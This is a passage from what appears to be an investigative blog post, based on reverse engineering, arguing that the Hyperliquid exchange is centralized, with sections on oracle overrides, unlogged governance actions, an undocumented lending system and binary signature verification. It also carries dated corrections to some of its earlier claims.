&lt;li&gt;&lt;a href="https://finance.yahoo.com/news/hyperliquid-delists-jellyjelly-perpetual-futures-005949412.html"&gt;Unilaterally delisted JELLYJELLY&lt;/a&gt;: no visible governance vote&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.coindesk.com/markets/2025/03/26/hyperliquid-delists-jellyjelly-after-vault-squeezed-in-usd13m-tussle"&gt;Overrode oracle price&lt;/a&gt; to $0.0095 (vs $0.50 market)&lt;/li&gt;
&lt;li&gt;Force-settled all positions at validator-chosen price&lt;/li&gt;
&lt;li&gt;Froze attacker&amp;rsquo;s withdrawals ($6.26M of $7.17M escaped before freeze)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The attacker manipulated external markets; Hyperliquid manipulated their own oracle. Same capability, different beneficiary.&lt;/p&gt;
&lt;p&gt;Arthur Hayes &lt;a href="https://x.com/SmarDex/status/1905278939821699239"&gt;commented&lt;/a&gt;: &lt;em&gt;&amp;ldquo;Let&amp;rsquo;s stop pretending Hyperliquid is decentralized.&amp;rdquo;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Bitget CEO Gracy Chen &lt;a href="https://oakresearch.io/en/analyses/investigations/hyperliquid-jelly-attack-context-vulnerability-team-solution"&gt;called it&lt;/a&gt; &lt;em&gt;&amp;ldquo;potentially FTX 2.0&amp;rdquo;&lt;/em&gt; (referring to centralized failure modes, not criminal fraud).&lt;/p&gt;
&lt;p&gt;Every position on Hyperliquid is one compromised private key away from forced liquidation. Your 2x leveraged long with 50% safety margin can be liquidated at an artificial price. You can&amp;rsquo;t withdraw during the attack (3-second window), can&amp;rsquo;t prove manipulation (it&amp;rsquo;s in consensus state), can&amp;rsquo;t appeal (liquidations are final), and can&amp;rsquo;t mitigate it via decentralization if governance is concentrated.&lt;/p&gt;
&lt;p&gt;One key. One block. One irreversible cascade.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="0x5-the-black-hole"&gt;&lt;span class="hx"&gt;0x5:&lt;/span&gt; The Black Hole&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Governance proposals are stored but unqueryable. Users see votes happened but cannot verify what was proposed. The most destructive operations leave no audit trail.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Hyperliquid&amp;rsquo;s most powerful governance actions leave no trace. Validators vote on proposals users cannot read, execute changes users cannot see, and suppress warnings users have no way to verify.&lt;/p&gt;
&lt;h3 id="voteglobalaction-effects-are-invisible"&gt;VoteGlobalAction Effects Are Invisible&lt;/h3&gt;
&lt;p&gt;Governance execution bypasses the LedgerUpdate logging system. While the binary includes logging infrastructure (&lt;code&gt;forward_ledger_update_from_state&lt;/code&gt; at 0x38de5f0) that emits events for user actions, VoteGlobalAction execution (handler at 0x1f36320) directly modifies consensus state without calling logging functions. The &lt;code&gt;--write-system-and-core-writer-actions&lt;/code&gt; flag enables logging for CoreWriter privileged actions (System actions), but VoteGlobalAction variants (89 types including QuarantineUser, FreezeChain, ModifyBroadcaster, SetReserveAccumulator) execute through the consensus vote path and leave no LedgerUpdate entries.&lt;/p&gt;
&lt;p&gt;The platform&amp;rsquo;s most destructive operations leave no record. Minting is traceable. Freezing accounts is not. Changing interest rate accumulators is not. Modifying the broadcaster whitelist is not. State changes are permanent and invisible to the public &lt;code&gt;userNonFundingLedgerUpdates&lt;/code&gt; API.&lt;/p&gt;
&lt;h3 id="system-actions-and-silent-balance-modifications"&gt;System Actions and Silent Balance Modifications&lt;/h3&gt;
&lt;p&gt;System-initiated balance changes occur through two distinct mechanisms with different visibility:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;User-triggered internal transfers&lt;/strong&gt;: Operations like withdrawals or cross-margin adjustments emit &lt;code&gt;internalTransfer&lt;/code&gt; LedgerUpdates (type 0x0A), which appear in the public &lt;code&gt;userNonFundingLedgerUpdates&lt;/code&gt; API. The effect is visible, and the cause is a user-signed action.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;System action balance modifications&lt;/strong&gt;: Privileged System actions (SystemUsdClassTransfer) directly modify account balances without emitting ANY LedgerUpdate events. These operations bypass the logging infrastructure entirely. Balance changes occur with no corresponding entry in &lt;code&gt;userNonFundingLedgerUpdates&lt;/code&gt; and no logged cause.&lt;/p&gt;
&lt;p&gt;Users querying the API will see balance discrepancies with no explanation when System actions execute. The &lt;code&gt;--write-system-and-core-writer-actions&lt;/code&gt; flag can log some execution to disk, but pretty much no documentation exists about it, nor about what it would log in the first place.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="0x6-the-shadow-bank"&gt;&lt;span class="hx"&gt;0x6:&lt;/span&gt; The Shadow Bank&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Hidden leverage risk. Users trading perpetuals unknowingly interact with undisclosed lending infrastructure that could amplify systemic risk during market stress.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;del&gt;You thought you were trading perpetual futures. Turns out, you&amp;rsquo;ve been sitting on top of a &lt;strong&gt;fully-deployed, undisclosed lending protocol&lt;/strong&gt; the entire time: complete with borrow/supply/repay/withdraw operations, interest rate curves, governance-controlled reserve parameters, and integrated liquidation infrastructure.&lt;/del&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update (Dec 22):&lt;/strong&gt; This section originally characterized BOLE as an undisclosed protocol. As &lt;a href="https://x.com/hermithype/status/2002918149478588539"&gt;@hermithype pointed out&lt;/a&gt;, a lending feature called &amp;ldquo;BLP&amp;rdquo; was publicly tested on testnet during pre-alpha. The core concern remains: this infrastructure is live on mainnet with $1M+ in deposits, active API endpoints returning real user data, and no prominent documentation informing current users that a borrow/lend system operates alongside the perpetual exchange &lt;em&gt;in mainnet&lt;/em&gt;.&lt;/p&gt;
&lt;h3 id="discovery"&gt;Discovery&lt;/h3&gt;
&lt;p&gt;Buried in the binary is a structure definition: &lt;code&gt;struct BolePool with 8 elements&lt;/code&gt;. Cross-referencing reveals the complete infrastructure of an Aave-style borrow/lend protocol internally codenamed &lt;strong&gt;&amp;ldquo;Bole&amp;rdquo;&lt;/strong&gt; with kink model interest rate curves.&lt;/p&gt;
&lt;p&gt;The governance action &lt;code&gt;SetBole&lt;/code&gt; (VoteGlobalAction discriminant &lt;code&gt;0x50&lt;/code&gt;) controls the entire system:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt;/// VoteGlobalAction case 0x50
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt;/// Serialized as &amp;#34;setBole&amp;#34; in governance payloads
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;SetBole&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pool_config&lt;/span&gt;: &lt;span class="nc"&gt;BolePoolConfig&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;interest_rate_model&lt;/span&gt;: &lt;span class="nc"&gt;KinkModel&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reserve_factor&lt;/span&gt;: &lt;span class="kt"&gt;u64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;liquidation_bonus&lt;/span&gt;: &lt;span class="kt"&gt;u64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="the-api-is-live"&gt;The API Is Live&lt;/h3&gt;
&lt;p&gt;The protocol is live on mainnet with active pools holding real user funds:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Query all borrow/lend pool states&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;curl -s https://api.hyperliquid.xyz/info &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; -H &lt;span class="s2"&gt;&amp;#34;Content-Type: application/json&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; -d &lt;span class="s1"&gt;&amp;#39;{&amp;#34;type&amp;#34;:&amp;#34;allBorrowLendReserveStates&amp;#34;}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Response (December 2025):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;[&lt;/span&gt;0, &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;totalSupplied&amp;#34;&lt;/span&gt;: &lt;span class="s2"&gt;&amp;#34;1002666.00863692&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;totalBorrowed&amp;#34;&lt;/span&gt;: &lt;span class="s2"&gt;&amp;#34;497.8765043&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;borrowYearlyRate&amp;#34;&lt;/span&gt;: &lt;span class="s2"&gt;&amp;#34;0.05&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;supplyYearlyRate&amp;#34;&lt;/span&gt;: &lt;span class="s2"&gt;&amp;#34;0.0000223449&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;utilization&amp;#34;&lt;/span&gt;: &lt;span class="s2"&gt;&amp;#34;0.0004965527&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;oraclePx&amp;#34;&lt;/span&gt;: &lt;span class="s2"&gt;&amp;#34;1.0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;ltv&amp;#34;&lt;/span&gt;: &lt;span class="s2"&gt;&amp;#34;0.0&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;}]&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;[&lt;/span&gt;150, &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;totalSupplied&amp;#34;&lt;/span&gt;: &lt;span class="s2"&gt;&amp;#34;45.91215326&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;totalBorrowed&amp;#34;&lt;/span&gt;: &lt;span class="s2"&gt;&amp;#34;0.0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;borrowYearlyRate&amp;#34;&lt;/span&gt;: &lt;span class="s2"&gt;&amp;#34;0.05&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;supplyYearlyRate&amp;#34;&lt;/span&gt;: &lt;span class="s2"&gt;&amp;#34;0.0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;balance&amp;#34;&lt;/span&gt;: &lt;span class="s2"&gt;&amp;#34;45.91215326&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;utilization&amp;#34;&lt;/span&gt;: &lt;span class="s2"&gt;&amp;#34;0.0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;oraclePx&amp;#34;&lt;/span&gt;: &lt;span class="s2"&gt;&amp;#34;24.355&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;ltv&amp;#34;&lt;/span&gt;: &lt;span class="s2"&gt;&amp;#34;0.5&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;}]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Pool 0 (USDC)&lt;/strong&gt;: Over $1M supplied, with active borrows ($497.88) accruing interest at 5% APY.
&lt;strong&gt;Pool 150&lt;/strong&gt;: $1,100+ in collateral (45.91 tokens @ $24.36/unit) with 50% LTV ratio configured.&lt;/p&gt;
&lt;p&gt;User-facing L1 action exists (L1 ActionType discriminant &lt;code&gt;0x49&lt;/code&gt;, &amp;ldquo;BorrowLend&amp;rdquo;) with operations for supply/borrow/repay/withdraw. API handlers exposed: &lt;code&gt;borrowLendUserState&lt;/code&gt; (info type case &lt;code&gt;0x27&lt;/code&gt;) returns per-user positions, &lt;code&gt;allBorrowLendReserveStates&lt;/code&gt; (info type case &lt;code&gt;0x29&lt;/code&gt;) returns all pool states.&lt;/p&gt;
&lt;h3 id="why-this-matters"&gt;Why This Matters&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;del&gt;&lt;strong&gt;Undisclosed Risk&lt;/strong&gt;: Users depositing into HLP or trading perpetuals don&amp;rsquo;t know their counterparty might be leveraged through an internal lending system&lt;/del&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Documentation Gap&lt;/strong&gt;: While early testnet participants may have been aware of BLP, the feature&amp;rsquo;s evolution to &amp;ldquo;BOLE&amp;rdquo; and its current mainnet deployment aren&amp;rsquo;t reflected in user-facing documentation. The API endpoints (&lt;code&gt;allBorrowLendReserveStates&lt;/code&gt;, &lt;code&gt;borrowLendUserState&lt;/code&gt;) are live and returning production data&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Hidden Leverage Risk&lt;/strong&gt;: Mainnet data shows $1M+ in supplied assets with configured LTV ratios (50% for token 150). If BOLE collateral integrates with perp margin calculations, users could:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Supply token A to BOLE pool&lt;/li&gt;
&lt;li&gt;Borrow USDC at 50% LTV&lt;/li&gt;
&lt;li&gt;Trade perps with borrowed USDC&lt;/li&gt;
&lt;li&gt;Effectively leverage spot holdings into perp exposure&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This creates systemic amplification: market crash in token A triggers BOLE liquidation, forced USDC repayment, perp position liquidation, and cascade across both systems. Oracle price feeds (&lt;code&gt;oraclePx&lt;/code&gt; field in API response) create shared dependency between lending LTV calculations and perp margin requirements.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;No Audit&lt;/strong&gt;: The Zellic bridge audit covers the Ethereum bridge contract, not the L1 lending system&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Governance Control&lt;/strong&gt;: Governance can modify interest rates, LTV ratios, and liquidation parameters via &lt;code&gt;SetBole&lt;/code&gt; (VoteGlobalAction 0x50) votes. If a single entity controls the voting threshold, it can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Lower liquidation thresholds (increase LTV)&lt;/li&gt;
&lt;li&gt;Reduce interest rates (encourage borrowing)&lt;/li&gt;
&lt;li&gt;Modify oracle feeds (separate VoteGlobalAction)&lt;/li&gt;
&lt;li&gt;Amplify systemic leverage without user notification&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This isn&amp;rsquo;t a prototype or testing infrastructure. It&amp;rsquo;s a production-ready lending protocol running alongside the perpetual exchange, with no public documentation, no user disclosure, and no external audit.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="0x7-closing-thoughts"&gt;&lt;span class="hx"&gt;0x7:&lt;/span&gt; Closing Thoughts&lt;/h2&gt;
&lt;p&gt;I expected the usual DeFi compromises: admin keys, upgrades, emergency controls. Every protocol has them. I think what I found was a bit different.&lt;/p&gt;
&lt;p&gt;Every finding required binary reverse engineering. If the source were open, the &lt;code&gt;TestnetSetYesterdayUserVlm&lt;/code&gt; transaction type, freeze-without-unfreeze asymmetry, 8-wallet broadcaster monopoly, hidden lending protocol &amp;ndash; all would be public.&lt;/p&gt;
&lt;p&gt;Not open-sourcing a decentralized protocol goes against the entire ethos of it. It is not about security. It is about hiding what the system actually does.&lt;/p&gt;
&lt;p&gt;Now that we established that the trust assumptions look like this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The &lt;code&gt;execution_sender&lt;/code&gt; key holder won&amp;rsquo;t mint tokens or steal funds&lt;/li&gt;
&lt;li&gt;The Foundation won&amp;rsquo;t vote to freeze the chain and vanish&lt;/li&gt;
&lt;li&gt;The 8 broadcasters won&amp;rsquo;t censor transactions&lt;/li&gt;
&lt;li&gt;The whitelisted liquidators won&amp;rsquo;t front-run positions&lt;/li&gt;
&lt;li&gt;The oracle updater won&amp;rsquo;t manipulate prices&lt;/li&gt;
&lt;li&gt;Bridge withdrawals won&amp;rsquo;t face indefinite censorship&lt;/li&gt;
&lt;li&gt;Accrued interest won&amp;rsquo;t vanish via accumulator override&lt;/li&gt;
&lt;li&gt;Governance proposals match claims (unverifiable)&lt;/li&gt;
&lt;li&gt;The BOLE lending protocol won&amp;rsquo;t amplify systemic risk&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you have funds on Hyperliquid, I&amp;rsquo;d like to ask you dear reader, did you even know any of this?&lt;/p&gt;
&lt;p&gt;Draw your own conclusions.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;All findings are based on analysis of the Hyperliquid validator binary and L1 state snapshots. Addresses and state queries provided for independent verification.&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="sources"&gt;Sources&lt;/h2&gt;
&lt;p&gt;I&amp;rsquo;ve spent this entire post documenting how Hyperliquid fails to be verifiable where it matters, but credit where it&amp;rsquo;s due: they &lt;em&gt;do&lt;/em&gt; use cryptography in one place that matters.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;hl-node&lt;/code&gt; binary is GPG-signed by Hyperliquid, which is distributed via their validator onboarding process. &lt;strong&gt;That signature cryptographically proves they shipped &lt;code&gt;TestnetSetYesterdayUserVlm&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;For once, good use of crypto!&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="proof/hl-node-v76"&gt;&lt;code&gt;hl-node-v76&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Validator binary (72.4 MiB, ELF x86-64, signed Dec 2025)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="proof/hl-node-v76.sig"&gt;&lt;code&gt;hl-node-v76.sig&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Detached GPG signature from Hyperliquid Foundation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="proof/hyperfoundation-pubkey.asc"&gt;&lt;code&gt;hyperfoundation-pubkey.asc&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Hyperliquid&amp;rsquo;s GPG public key (&lt;code&gt;CF2C2EA3&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Binary hash:&lt;/strong&gt; &lt;code&gt;SHA256: 1c2911eda8d82b8b6d0569676e0afa841c76976db4acedd29674b15a3349ee1a&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;All addresses referenced in this post are for &lt;code&gt;hl-node-v76&lt;/code&gt;. Addresses may differ across releases.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;export&lt;/span&gt; &lt;span class="nv"&gt;GNUPGHOME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;mktemp -d&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;gpg --import hyperfoundation-pubkey.asc
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;gpg --verify hl-node-v76.sig hl-node-v76&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="resolved"&gt;Resolved&lt;/h2&gt;
&lt;h2 id="0x0-the-362m-gap"&gt;&lt;span class="hx"&gt;0x0:&lt;/span&gt;&lt;del&gt;0x0: The $362M Gap&lt;/del&gt;&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;del&gt;The on-chain ledger shows $362M more in user claims than exists in the bridge. If everyone tried to withdraw, someone wouldn&amp;rsquo;t get paid.&lt;/del&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Update (Dec 22):&lt;/strong&gt; As &lt;a href="https://x.com/cainosullivan/status/2003015288863015191"&gt;@cainosullivan pointed out&lt;/a&gt;, the gap is accounted for, by Circle&amp;rsquo;s &lt;a href="https://hyperevmscan.io/address/0x6b9e773128f453f5c2c60935ee2de2cbc5390a24"&gt;CoreDepositWallet&lt;/a&gt; on HyperEVM, which holds ~$362M in native USDC. The bridge was indeed &amp;ldquo;insolvent&amp;rdquo;, but users are still able to go through HyperEVM&amp;rsquo;s native USDC path to withdraw.&lt;/p&gt;
&lt;p&gt;User claims exceed the bridge by $362,454,741.25. At the same snapshot, HLP&amp;rsquo;s on-chain account value is $377.69M against $2.51M net deposits, implying $375.17M in gains. HLP is documented as the protocol&amp;rsquo;s backstop counterparty: &lt;a href="https://nftevening.com/hyperliquid-deep-dive-2/"&gt;&amp;ldquo;When a trader&amp;rsquo;s order cannot find an immediate match, the HLP vault can take the opposite side of the trade&amp;rdquo;&lt;/a&gt;. During the JELLY incident, &lt;a href="https://thedefiant.io/news/defi/hyperliquid-token-tanks-as-another-vault-attack-sparks-controversy"&gt;&amp;ldquo;HLP acts as the counterparty for all trades on the platform&amp;rdquo;&lt;/a&gt; absorbed the toxic position.&lt;/p&gt;
&lt;p&gt;If HLP is the primary counterparty, you&amp;rsquo;d expect aggregate trader PnL and HLP PnL to be strongly anti-correlated &lt;em&gt;absent external hedging or off-ledger loss absorption&lt;/em&gt;. The observed state (trader claims +$362M above bridge, HLP gains +$375M) contradicts that expectation unless: (1) other market makers absorb losses off-ledger, (2) minted USDC (&lt;code&gt;SystemAlignedQuoteSupplyDelta&lt;/code&gt;) inflates balances, (3) &lt;code&gt;total_net_deposit&lt;/code&gt; includes non-withdrawable components (fees, unrealized PnL adjustments), or (4) HLP&amp;rsquo;s gains came from liquidation penalties and fees rather than counterparty PnL. External market makers certainly exist; the problem is opacity, which makes the actual loss distribution unverifiable.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Expected state:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Traders deposit $X via bridge&lt;/li&gt;
&lt;li&gt;Traders collectively lose $Y to HLP&lt;/li&gt;
&lt;li&gt;HLP account: +$Y&lt;/li&gt;
&lt;li&gt;Trader claims: $X - $Y&lt;/li&gt;
&lt;li&gt;Bridge balance: $X&lt;/li&gt;
&lt;li&gt;Claims should be ≤ bridge&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Observed state (2025-12-19T08:04:17.669123161):&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Metric&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Bridge balance (&lt;code&gt;bridge_config.bal&lt;/code&gt;, 6 decimals)&lt;/td&gt;
&lt;td&gt;$4,011,884,542.58&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Perp net deposit (&lt;code&gt;perp_dex_meta.total_net_deposit&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;$3,728,669,722.77&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Spot USDC (&lt;code&gt;spot_user_states&lt;/code&gt;, token 0)&lt;/td&gt;
&lt;td&gt;$645,669,561.06&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
